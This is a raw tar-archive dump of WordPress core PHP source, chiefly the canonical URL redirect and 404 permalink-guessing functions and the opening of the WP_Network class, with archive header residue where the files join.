0ustar00is_preview = false; } } if ( is_admin() || is_search() || is_preview() || is_trackback() || is_favicon() || ( $is_IIS && ! iis7_supports_permalinks() ) ) { return; } if ( ! $requested_url && isset( $_SERVER['HTTP_HOST'] ) ) { // Build the URL in the address bar. $requested_url = is_ssl() ? 'https://' : 'http://'; $requested_url .= $_SERVER['HTTP_HOST']; $requested_url .= $_SERVER['REQUEST_URI']; } $original = parse_url( $requested_url ); if ( false === $original ) { return; } $redirect = $original; $redirect_url = false; $redirect_obj = false; // Notice fixing. if ( ! isset( $redirect['path'] ) ) { $redirect['path'] = ''; } if ( ! isset( $redirect['query'] ) ) { $redirect['query'] = ''; } /* * If the original URL ended with non-breaking spaces, they were almost * certainly inserted by accident. Let's remove them, so the reader doesn't * see a 404 error with no obvious cause. */ $redirect['path'] = preg_replace( '|(%C2%A0)+$|i', '', $redirect['path'] ); // It's not a preview, so remove it from URL. if ( get_query_var( 'preview' ) ) { $redirect['query'] = remove_query_arg( 'preview', $redirect['query'] ); } $post_id = get_query_var( 'p' ); if ( is_feed() && $post_id ) { $redirect_url = get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) ); $redirect_obj = get_post( $post_id ); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed' ), $redirect_url ); $redirect['path'] = parse_url( $redirect_url, PHP_URL_PATH ); } } if ( is_singular() && $wp_query->post_count < 1 && $post_id ) { $vars = $wpdb->get_results( $wpdb->prepare( "SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $post_id ) ); if ( ! empty( $vars[0] ) ) { $vars = $vars[0]; if ( 'revision' === $vars->post_type && $vars->post_parent > 0 ) { $post_id = $vars->post_parent; } $redirect_url = get_permalink( $post_id ); $redirect_obj = get_post( $post_id ); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } } // These tests give us a WP-generated permalink. if ( is_404() ) { // Redirect ?page_id, ?p=, ?attachment_id= to their respective URLs. $post_id = max( get_query_var( 'p' ), get_query_var( 'page_id' ), get_query_var( 'attachment_id' ) ); $redirect_post = $post_id ? get_post( $post_id ) : false; if ( $redirect_post ) { $post_type_obj = get_post_type_object( $redirect_post->post_type ); if ( $post_type_obj && $post_type_obj->public && 'auto-draft' !== $redirect_post->post_status ) { $redirect_url = get_permalink( $redirect_post ); $redirect_obj = get_post( $redirect_post ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } $year = get_query_var( 'year' ); $month = get_query_var( 'monthnum' ); $day = get_query_var( 'day' ); if ( $year && $month && $day ) { $date = sprintf( '%04d-%02d-%02d', $year, $month, $day ); if ( ! wp_checkdate( $month, $day, $year, $date ) ) { $redirect_url = get_month_link( $year, $month ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum', 'day' ), $redirect_url ); } } elseif ( $year && $month && $month > 12 ) { $redirect_url = get_year_link( $year ); $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum' ), $redirect_url ); } // Strip off non-existing links from single posts or pages. if ( get_query_var( 'page' ) ) { $post_id = 0; if ( $wp_query->queried_object instanceof WP_Post ) { $post_id = $wp_query->queried_object->ID; } elseif ( $wp_query->post ) { $post_id = $wp_query->post->ID; } if ( $post_id ) { $redirect_url = get_permalink( $post_id ); $redirect_obj = get_post( $post_id ); $redirect['path'] = rtrim( $redirect['path'], (int) get_query_var( 'page' ) . '/' ); $redirect['query'] = remove_query_arg( 'page', $redirect['query'] ); } } if ( ! $redirect_url ) { $redirect_url = redirect_guess_404_permalink(); if ( $redirect_url ) { $redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url ); } } } elseif ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) { // Rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101. if ( is_attachment() && ! array_diff( array_keys( $wp->query_vars ), array( 'attachment', 'attachment_id' ) ) && ! $redirect_url ) { if ( ! empty( $_GET['attachment_id'] ) ) { $redirect_url = get_attachment_link( get_query_var( 'attachment_id' ) ); $redirect_obj = get_post( get_query_var( 'attachment_id' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'attachment_id', $redirect['query'] ); } } else { $redirect_url = get_attachment_link(); $redirect_obj = get_post(); } } elseif ( is_single() && ! empty( $_GET['p'] ) && ! $redirect_url ) { $redirect_url = get_permalink( get_query_var( 'p' ) ); $redirect_obj = get_post( get_query_var( 'p' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'p', 'post_type' ), $redirect['query'] ); } } elseif ( is_single() && ! empty( $_GET['name'] ) && ! $redirect_url ) { $redirect_url = get_permalink( $wp_query->get_queried_object_id() ); $redirect_obj = get_post( $wp_query->get_queried_object_id() ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'name', $redirect['query'] ); } } elseif ( is_page() && ! empty( $_GET['page_id'] ) && ! $redirect_url ) { $redirect_url = get_permalink( get_query_var( 'page_id' ) ); $redirect_obj = get_post( get_query_var( 'page_id' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] ); } } elseif ( is_page() && ! is_feed() && ! $redirect_url && 'page' === get_option( 'show_on_front' ) && get_queried_object_id() === (int) get_option( 'page_on_front' ) ) { $redirect_url = home_url( '/' ); } elseif ( is_home() && ! empty( $_GET['page_id'] ) && ! $redirect_url && 'page' === get_option( 'show_on_front' ) && get_query_var( 'page_id' ) === (int) get_option( 'page_for_posts' ) ) { $redirect_url = get_permalink( get_option( 'page_for_posts' ) ); $redirect_obj = get_post( get_option( 'page_for_posts' ) ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] ); } } elseif ( ! empty( $_GET['m'] ) && ( is_year() || is_month() || is_day() ) ) { $m = get_query_var( 'm' ); switch ( strlen( $m ) ) { case 4: // Yearly. $redirect_url = get_year_link( $m ); break; case 6: // Monthly. $redirect_url = get_month_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ) ); break; case 8: // Daily. $redirect_url = get_day_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ), substr( $m, 6, 2 ) ); break; } if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'm', $redirect['query'] ); } // Now moving on to non ?m=X year/month/day links. } elseif ( is_date() ) { $year = get_query_var( 'year' ); $month = get_query_var( 'monthnum' ); $day = get_query_var( 'day' ); if ( is_day() && $year && $month && ! empty( $_GET['day'] ) ) { $redirect_url = get_day_link( $year, $month, $day ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'year', 'monthnum', 'day' ), $redirect['query'] ); } } elseif ( is_month() && $year && ! empty( $_GET['monthnum'] ) ) { $redirect_url = get_month_link( $year, $month ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( array( 'year', 'monthnum' ), $redirect['query'] ); } } elseif ( is_year() && ! empty( $_GET['year'] ) ) { $redirect_url = get_year_link( $year ); if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'year', $redirect['query'] ); } } } elseif ( is_author() && ! empty( $_GET['author'] ) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) { $author = get_userdata( get_query_var( 'author' ) ); if ( false !== $author && $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE $wpdb->posts.post_author = %d AND $wpdb->posts.post_status = 'publish' LIMIT 1", $author->ID ) ) ) { $redirect_url = get_author_posts_url( $author->ID, $author->user_nicename ); $redirect_obj = $author; if ( $redirect_url ) { $redirect['query'] = remove_query_arg( 'author', $redirect['query'] ); } } } elseif ( is_category() || is_tag() || is_tax() ) { // Terms (tags/categories). $term_count = 0; foreach ( $wp_query->tax_query->queried_terms as $tax_query ) { $term_count += count( $tax_query['terms'] ); } $obj = $wp_query->get_queried_object(); if ( $term_count <= 1 && ! empty( $obj->term_id ) ) { $tax_url = get_term_link( (int) $obj->term_id, $obj->taxonomy ); if ( $tax_url && ! is_wp_error( $tax_url ) ) { if ( ! empty( $redirect['query'] ) ) { // Strip taxonomy query vars off the URL. $qv_remove = array( 'term', 'taxonomy' ); if ( is_category() ) { $qv_remove[] = 'category_name'; $qv_remove[] = 'cat'; } elseif ( is_tag() ) { $qv_remove[] = 'tag'; $qv_remove[] = 'tag_id'; } else { // Custom taxonomies will have a custom query var, remove those too. $tax_obj = get_taxonomy( $obj->taxonomy ); if ( false !== $tax_obj->query_var ) { $qv_remove[] = $tax_obj->query_var; } } $rewrite_vars = array_diff( array_keys( $wp_query->query ), array_keys( $_GET ) ); // Check to see if all the query vars are coming from the rewrite, none are set via $_GET. if ( ! array_diff( $rewrite_vars, array_keys( $_GET ) ) ) { // Remove all of the per-tax query vars. $redirect['query'] = remove_query_arg( $qv_remove, $redirect['query'] ); // Create the destination URL for this taxonomy. $tax_url = parse_url( $tax_url ); if ( ! empty( $tax_url['query'] ) ) { // Taxonomy accessible via ?taxonomy=...&term=... or any custom query var. parse_str( $tax_url['query'], $query_vars ); $redirect['query'] = add_query_arg( $query_vars, $redirect['query'] ); } else { // Taxonomy is accessible via a "pretty URL". $redirect['path'] = $tax_url['path']; } } else { // Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite. foreach ( $qv_remove as $_qv ) { if ( isset( $rewrite_vars[ $_qv ] ) ) { $redirect['query'] = remove_query_arg( $_qv, $redirect['query'] ); } } } } } } } elseif ( is_single() && strpos( $wp_rewrite->permalink_structure, '%category%' ) !== false ) { $category_name = get_query_var( 'category_name' ); if ( $category_name ) { $category = get_category_by_path( $category_name ); if ( ! $category || is_wp_error( $category ) || ! has_term( $category->term_id, 'category', $wp_query->get_queried_object_id() ) ) { $redirect_url = get_permalink( $wp_query->get_queried_object_id() ); $redirect_obj = get_post( $wp_query->get_queried_object_id() ); } } } // Post paging. if ( is_singular() && get_query_var( 'page' ) ) { $page = get_query_var( 'page' ); if ( ! $redirect_url ) { $redirect_url = get_permalink( get_queried_object_id() ); $redirect_obj = get_post( get_queried_object_id() ); } if ( $page > 1 ) { $redirect_url = trailingslashit( $redirect_url ); if ( is_front_page() ) { $redirect_url .= user_trailingslashit( "$wp_rewrite->pagination_base/$page", 'paged' ); } else { $redirect_url .= user_trailingslashit( $page, 'single_paged' ); } } $redirect['query'] = remove_query_arg( 'page', $redirect['query'] ); } if ( get_query_var( 'sitemap' ) ) { $redirect_url = get_sitemap_url( get_query_var( 'sitemap' ), get_query_var( 'sitemap-subtype' ), get_query_var( 'paged' ) ); $redirect['query'] = remove_query_arg( array( 'sitemap', 'sitemap-subtype', 'paged' ), $redirect['query'] ); } elseif ( get_query_var( 'paged' ) || is_feed() || get_query_var( 'cpage' ) ) { // Paging and feeds. $paged = get_query_var( 'paged' ); $feed = get_query_var( 'feed' ); $cpage = get_query_var( 'cpage' ); while ( preg_match( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", $redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+)?$#', $redirect['path'] ) || preg_match( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+(/+)?$#", $redirect['path'] ) ) { // Strip off any existing paging. $redirect['path'] = preg_replace( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", '/', $redirect['path'] ); // Strip off feed endings. $redirect['path'] = preg_replace( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $redirect['path'] ); // Strip off any existing comment paging. $redirect['path'] = preg_replace( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+?(/+)?$#", '/', $redirect['path'] ); } $addl_path = ''; $default_feed = get_default_feed(); if ( is_feed() && in_array( $feed, $wp_rewrite->feeds, true ) ) { $addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : ''; if ( ! is_singular() && get_query_var( 'withcomments' ) ) { $addl_path .= 'comments/'; } if ( ( 'rss' === $default_feed && 'feed' === $feed ) || 'rss' === $feed ) { $format = ( 'rss2' === $default_feed ) ? '' : 'rss2'; } else { $format = ( $default_feed === $feed || 'feed' === $feed ) ? '' : $feed; } $addl_path .= user_trailingslashit( 'feed/' . $format, 'feed' ); $redirect['query'] = remove_query_arg( 'feed', $redirect['query'] ); } elseif ( is_feed() && 'old' === $feed ) { $old_feed_files = array( 'wp-atom.php' => 'atom', 'wp-commentsrss2.php' => 'comments_rss2', 'wp-feed.php' => $default_feed, 'wp-rdf.php' => 'rdf', 'wp-rss.php' => 'rss2', 'wp-rss2.php' => 'rss2', ); if ( isset( $old_feed_files[ basename( $redirect['path'] ) ] ) ) { $redirect_url = get_feed_link( $old_feed_files[ basename( $redirect['path'] ) ] ); wp_redirect( $redirect_url, 301 ); die(); } } if ( $paged > 0 ) { $redirect['query'] = remove_query_arg( 'paged', $redirect['query'] ); if ( ! is_feed() ) { if ( ! is_single() ) { $addl_path = ! empty( $addl_path ) ? trailingslashit( $addl_path ) : ''; if ( $paged > 1 ) { $addl_path .= user_trailingslashit( "$wp_rewrite->pagination_base/$paged", 'paged' ); } } } elseif ( $paged > 1 ) { $redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] ); } } $default_comments_page = get_option( 'default_comments_page' ); if ( get_option( 'page_comments' ) && ( 'newest' === $default_comments_page && $cpage > 0 || 'newest' !== $default_comments_page && $cpage > 1 ) ) { $addl_path = ( ! empty( $addl_path ) ? trailingslashit( $addl_path ) : '' ); $addl_path .= user_trailingslashit( $wp_rewrite->comments_pagination_base . '-' . $cpage, 'commentpaged' ); $redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] ); } // Strip off trailing /index.php/. $redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/?$|', '/', $redirect['path'] ); $redirect['path'] = user_trailingslashit( $redirect['path'] ); if ( ! empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos( $redirect['path'], '/' . $wp_rewrite->index . '/' ) === false ) { $redirect['path'] = trailingslashit( $redirect['path'] ) . $wp_rewrite->index . '/'; } if ( ! empty( $addl_path ) ) { $redirect['path'] = trailingslashit( $redirect['path'] ) . $addl_path; } $redirect_url = $redirect['scheme'] . '://' . $redirect['host'] . $redirect['path']; } if ( 'wp-register.php' === basename( $redirect['path'] ) ) { if ( is_multisite() ) { /** This filter is documented in wp-login.php */ $redirect_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ); } else { $redirect_url = wp_registration_url(); } wp_redirect( $redirect_url, 301 ); die(); } } $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); // Tack on any additional query vars. if ( $redirect_url && ! empty( $redirect['query'] ) ) { parse_str( $redirect['query'], $_parsed_query ); $redirect = parse_url( $redirect_url ); if ( ! empty( $_parsed_query['name'] ) && ! empty( $redirect['query'] ) ) { parse_str( $redirect['query'], $_parsed_redirect_query ); if ( empty( $_parsed_redirect_query['name'] ) ) { unset( $_parsed_query['name'] ); } } $_parsed_query = array_combine( rawurlencode_deep( array_keys( $_parsed_query ) ), rawurlencode_deep( array_values( $_parsed_query ) ) ); $redirect_url = add_query_arg( $_parsed_query, $redirect_url ); } if ( $redirect_url ) { $redirect = parse_url( $redirect_url ); } // www.example.com vs. example.com $user_home = parse_url( home_url() ); if ( ! empty( $user_home['host'] ) ) { $redirect['host'] = $user_home['host']; } if ( empty( $user_home['path'] ) ) { $user_home['path'] = '/'; } // Handle ports. if ( ! empty( $user_home['port'] ) ) { $redirect['port'] = $user_home['port']; } else { unset( $redirect['port'] ); } // Trailing /index.php. $redirect['path'] = preg_replace( '|/' . preg_quote( $wp_rewrite->index, '|' ) . '/*?$|', '/', $redirect['path'] ); $punctuation_pattern = implode( '|', array_map( 'preg_quote', array( ' ', '%20', // Space. '!', '%21', // Exclamation mark. '"', '%22', // Double quote. "'", '%27', // Single quote. '(', '%28', // Opening bracket. ')', '%29', // Closing bracket. ',', '%2C', // Comma. '.', '%2E', // Period. ';', '%3B', // Semicolon. '{', '%7B', // Opening curly bracket. '}', '%7D', // Closing curly bracket. '%E2%80%9C', // Opening curly quote. '%E2%80%9D', // Closing curly quote. ) ) ); // Remove trailing spaces and end punctuation from the path. $redirect['path'] = preg_replace( "#($punctuation_pattern)+$#", '', $redirect['path'] ); if ( ! empty( $redirect['query'] ) ) { // Remove trailing spaces and end punctuation from certain terminating query string args. $redirect['query'] = preg_replace( "#((^|&)(p|page_id|cat|tag)=[^&]*?)($punctuation_pattern)+$#", '$1', $redirect['query'] ); // Clean up empty query strings. $redirect['query'] = trim( preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query'] ), '&' ); // Redirect obsolete feeds. $redirect['query'] = preg_replace( '#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $redirect['query'] ); // Remove redundant leading ampersands. $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); } // Strip /index.php/ when we're not using PATHINFO permalinks. if ( ! $wp_rewrite->using_index_permalinks() ) { $redirect['path'] = str_replace( '/' . $wp_rewrite->index . '/', '/', $redirect['path'] ); } // Trailing slashes. if ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() && ! is_404() && ( ! is_front_page() || is_front_page() && get_query_var( 'paged' ) > 1 ) ) { $user_ts_type = ''; if ( get_query_var( 'paged' ) > 0 ) { $user_ts_type = 'paged'; } else { foreach ( array( 'single', 'category', 'page', 'day', 'month', 'year', 'home' ) as $type ) { $func = 'is_' . $type; if ( call_user_func( $func ) ) { $user_ts_type = $type; break; } } } $redirect['path'] = user_trailingslashit( $redirect['path'], $user_ts_type ); } elseif ( is_front_page() ) { $redirect['path'] = trailingslashit( $redirect['path'] ); } // Remove trailing slash for robots.txt or sitemap requests. if ( is_robots() || ! empty( get_query_var( 'sitemap' ) ) || ! empty( get_query_var( 'sitemap-stylesheet' ) ) ) { $redirect['path'] = untrailingslashit( $redirect['path'] ); } // Strip multiple slashes out of the URL. if ( strpos( $redirect['path'], '//' ) > -1 ) { $redirect['path'] = preg_replace( '|/+|', '/', $redirect['path'] ); } // Always trailing slash the Front Page URL. if ( trailingslashit( $redirect['path'] ) === trailingslashit( $user_home['path'] ) ) { $redirect['path'] = trailingslashit( $redirect['path'] ); } $original_host_low = strtolower( $original['host'] ); $redirect_host_low = strtolower( $redirect['host'] ); // Ignore differences in host capitalization, as this can lead to infinite redirects. // Only redirect no-www <=> yes-www. if ( $original_host_low === $redirect_host_low || ( 'www.' . $original_host_low !== $redirect_host_low && 'www.' . $redirect_host_low !== $original_host_low ) ) { $redirect['host'] = $original['host']; } $compare_original = array( $original['host'], $original['path'] ); if ( ! empty( $original['port'] ) ) { $compare_original[] = $original['port']; } if ( ! empty( $original['query'] ) ) { $compare_original[] = $original['query']; } $compare_redirect = array( $redirect['host'], $redirect['path'] ); if ( ! empty( $redirect['port'] ) ) { $compare_redirect[] = $redirect['port']; } if ( ! empty( $redirect['query'] ) ) { $compare_redirect[] = $redirect['query']; } if ( $compare_original !== $compare_redirect ) { $redirect_url = $redirect['scheme'] . '://' . $redirect['host']; if ( ! empty( $redirect['port'] ) ) { $redirect_url .= ':' . $redirect['port']; } $redirect_url .= $redirect['path']; if ( ! empty( $redirect['query'] ) ) { $redirect_url .= '?' . $redirect['query']; } } if ( ! $redirect_url || $redirect_url === $requested_url ) { return; } // Hex encoded octets are case-insensitive. if ( false !== strpos( $requested_url, '%' ) ) { if ( ! function_exists( 'lowercase_octets' ) ) { /** * Converts the first hex-encoded octet match to lowercase. * * @since 3.1.0 * @ignore * * @param array $matches Hex-encoded octet matches for the requested URL. * @return string Lowercased version of the first match. */ function lowercase_octets( $matches ) { return strtolower( $matches[0] ); } } $requested_url = preg_replace_callback( '|%[a-fA-F0-9][a-fA-F0-9]|', 'lowercase_octets', $requested_url ); } if ( $redirect_obj instanceof WP_Post ) { $post_status_obj = get_post_status_object( get_post_status( $redirect_obj ) ); /* * Unset the redirect object and URL if they are not readable by the user. * This condition is a little confusing as the condition needs to pass if * the post is not readable by the user. That's why there are ! (not) conditions * throughout. */ if ( // Private post statuses only redirect if the user can read them. ! ( $post_status_obj->private && current_user_can( 'read_post', $redirect_obj->ID ) ) && // For other posts, only redirect if publicly viewable. ! is_post_publicly_viewable( $redirect_obj ) ) { $redirect_obj = false; $redirect_url = false; } } /** * Filters the canonical redirect URL. * * Returning false to this filter will cancel the redirect. * * @since 2.3.0 * * @param string $redirect_url The redirect URL. * @param string $requested_url The requested URL. */ $redirect_url = apply_filters( 'redirect_canonical', $redirect_url, $requested_url ); // Yes, again -- in case the filter aborted the request. if ( ! $redirect_url || strip_fragment_from_url( $redirect_url ) === strip_fragment_from_url( $requested_url ) ) { return; } if ( $do_redirect ) { // Protect against chained redirects. if ( ! redirect_canonical( $redirect_url, false ) ) { wp_redirect( $redirect_url, 301 ); exit; } else { // Debug. // die("1: $redirect_url
    2: " . redirect_canonical( $redirect_url, false ) ); return; } } else { return $redirect_url; } } /** * Removes arguments from a query string if they are not present in a URL * DO NOT use this in plugin code. * * @since 3.4.0 * @access private * * @param string $query_string * @param array $args_to_check * @param string $url * @return string The altered query string */ function _remove_qs_args_if_not_in_url( $query_string, array $args_to_check, $url ) { $parsed_url = parse_url( $url ); if ( ! empty( $parsed_url['query'] ) ) { parse_str( $parsed_url['query'], $parsed_query ); foreach ( $args_to_check as $qv ) { if ( ! isset( $parsed_query[ $qv ] ) ) { $query_string = remove_query_arg( $qv, $query_string ); } } } else { $query_string = remove_query_arg( $args_to_check, $query_string ); } return $query_string; } /** * Strips the #fragment from a URL, if one is present. * * @since 4.4.0 * * @param string $url The URL to strip. * @return string The altered URL. */ function strip_fragment_from_url( $url ) { $parsed_url = wp_parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { $url = ''; if ( ! empty( $parsed_url['scheme'] ) ) { $url = $parsed_url['scheme'] . ':'; } $url .= '//' . $parsed_url['host']; if ( ! empty( $parsed_url['port'] ) ) { $url .= ':' . $parsed_url['port']; } if ( ! empty( $parsed_url['path'] ) ) { $url .= $parsed_url['path']; } if ( ! empty( $parsed_url['query'] ) ) { $url .= '?' . $parsed_url['query']; } } return $url; } /** * Attempts to guess the correct URL for a 404 request based on query vars. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string|false The correct URL if one is found. False on failure. */ function redirect_guess_404_permalink() { global $wpdb; /** * Filters whether to attempt to guess a redirect URL for a 404 request. * * Returning a false value from the filter will disable the URL guessing * and return early without performing a redirect. * * @since 5.5.0 * * @param bool $do_redirect_guess Whether to attempt to guess a redirect URL * for a 404 request. Default true. */ if ( false === apply_filters( 'do_redirect_guess_404_permalink', true ) ) { return false; } /** * Short-circuits the redirect URL guessing for 404 requests. * * Returning a non-null value from the filter will effectively short-circuit * the URL guessing, returning the passed value instead. * * @since 5.5.0 * * @param null|string|false $pre Whether to short-circuit guessing the redirect for a 404. * Default null to continue with the URL guessing. */ $pre = apply_filters( 'pre_redirect_guess_404_permalink', null ); if ( null !== $pre ) { return $pre; } if ( get_query_var( 'name' ) ) { /** * Filters whether to perform a strict guess for a 404 redirect. * * Returning a truthy value from the filter will redirect only exact post_name matches. * * @since 5.5.0 * * @param bool $strict_guess Whether to perform a strict guess. Default false (loose guess). */ $strict_guess = apply_filters( 'strict_redirect_guess_404_permalink', false ); if ( $strict_guess ) { $where = $wpdb->prepare( 'post_name = %s', get_query_var( 'name' ) ); } else { $where = $wpdb->prepare( 'post_name LIKE %s', $wpdb->esc_like( get_query_var( 'name' ) ) . '%' ); } // If any of post_type, year, monthnum, or day are set, use them to refine the query. if ( get_query_var( 'post_type' ) ) { if ( is_array( get_query_var( 'post_type' ) ) ) { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $where .= " AND post_type IN ('" . join( "', '", esc_sql( get_query_var( 'post_type' ) ) ) . "')"; } else { $where .= $wpdb->prepare( ' AND post_type = %s', get_query_var( 'post_type' ) ); } } else { $where .= " AND post_type IN ('" . implode( "', '", get_post_types( array( 'public' => true ) ) ) . "')"; } if ( get_query_var( 'year' ) ) { $where .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) ); } if ( get_query_var( 'monthnum' ) ) { $where .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) ); } if ( get_query_var( 'day' ) ) { $where .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) ); } $publicly_viewable_statuses = array_filter( get_post_stati(), 'is_post_status_viewable' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared $post_id = $wpdb->get_var( "SELECT ID FROM $wpdb->posts WHERE $where AND post_status IN ('" . implode( "', '", esc_sql( $publicly_viewable_statuses ) ) . "')" ); if ( ! $post_id ) { return false; } if ( get_query_var( 'feed' ) ) { return get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) ); } elseif ( get_query_var( 'page' ) > 1 ) { return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' ); } else { return get_permalink( $post_id ); } } return false; } /** * Redirects a variety of shorthand URLs to the admin. * * If a user visits example.com/admin, they'll be redirected to /wp-admin. * Visiting /login redirects to /wp-login.php, and so on. * * @since 3.4.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. */ function wp_redirect_admin_locations() { global $wp_rewrite; if ( ! ( is_404() && $wp_rewrite->using_permalinks() ) ) { return; } $admins = array( home_url( 'wp-admin', 'relative' ), home_url( 'dashboard', 'relative' ), home_url( 'admin', 'relative' ), site_url( 'dashboard', 'relative' ), site_url( 'admin', 'relative' ), ); if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $admins, true ) ) { wp_redirect( admin_url() ); exit; } $logins = array( home_url( 'wp-login.php', 'relative' ), home_url( 'login', 'relative' ), site_url( 'login', 'relative' ), ); if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $logins, true ) ) { wp_redirect( wp_login_url() ); exit; } } class-wp-network.php000064400000027632147177035020010515 0ustar00get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) ); if ( empty( $_network ) || is_wp_error( $_network ) ) { $_network = -1; } wp_cache_add( $network_id, $_network, 'networks' ); } if ( is_numeric( $_network ) ) { return false; } return new WP_Network( $_network ); } /** * Create a new WP_Network object. * * Will populate object properties from the object provided and assign other * default properties based on that information. * * @since 4.4.0 * * @param WP_Network|object $network A network object. */ public function __construct( $network ) { foreach ( get_object_vars( $network ) as $key => $value ) { $this->$key = $value; } $this->_set_site_name(); $this->_set_cookie_domain(); } /** * Getter. * * Allows current multisite naming conventions when getting properties. * * @since 4.6.0 * * @param string $key Property to get. * @return mixed Value of the property. Null if not available. */ public function __get( $key ) { switch ( $key ) { case 'id': return (int) $this->id; case 'blog_id': return (string) $this->get_main_site_id(); case 'site_id': return $this->get_main_site_id(); } return null; } /** * Isset-er. * * Allows current multisite naming conventions when checking for properties. * * @since 4.6.0 * * @param string $key Property to check if set. * @return bool Whether the property is set. */ public function __isset( $key ) { switch ( $key ) { case 'id': case 'blog_id': case 'site_id': return true; } return false; } /** * Setter. * * Allows current multisite naming conventions while setting properties. * * @since 4.6.0 * * @param string $key Property to set. * @param mixed $value Value to assign to the property. */ public function __set( $key, $value ) { switch ( $key ) { case 'id': $this->id = (int) $value; break; case 'blog_id': case 'site_id': $this->blog_id = (string) $value; break; default: $this->$key = $value; } } /** * Returns the main site ID for the network. * * Internal method used by the magic getter for the 'blog_id' and 'site_id' * properties. * * @since 4.9.0 * * @return int The ID of the main site. */ private function get_main_site_id() { /** * Filters the main site ID. * * Returning a positive integer will effectively short-circuit the function. * * @since 4.9.0 * * @param int|null $main_site_id If a positive integer is returned, it is interpreted as the main site ID. * @param WP_Network $network The network object for which the main site was detected. */ $main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this ); if ( 0 < $main_site_id ) { return $main_site_id; } if ( 0 < (int) $this->blog_id ) { return (int) $this->blog_id; } if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) && DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path ) || ( defined( 'SITE_ID_CURRENT_SITE' ) && SITE_ID_CURRENT_SITE == $this->id ) ) { if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) { $this->blog_id = (string) BLOG_ID_CURRENT_SITE; return (int) $this->blog_id; } if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated. $this->blog_id = (string) BLOGID_CURRENT_SITE; return (int) $this->blog_id; } } $site = get_site(); if ( $site->domain === $this->domain && $site->path === $this->path ) { $main_site_id = (int) $site->id; } else { $cache_key = 'network:' . $this->id . ':main_site'; $main_site_id = wp_cache_get( $cache_key, 'site-options' ); if ( false === $main_site_id ) { $_sites = get_sites( array( 'fields' => 'ids', 'number' => 1, 'domain' => $this->domain, 'path' => $this->path, 'network_id' => $this->id, ) ); $main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0; wp_cache_add( $cache_key, $main_site_id, 'site-options' ); } } $this->blog_id = (string) $main_site_id; return (int) $this->blog_id; } /** * Set the site name assigned to the network if one has not been populated. * * @since 4.4.0 */ private function _set_site_name() { if ( ! empty( $this->site_name ) ) { return; } $default = ucfirst( $this->domain ); 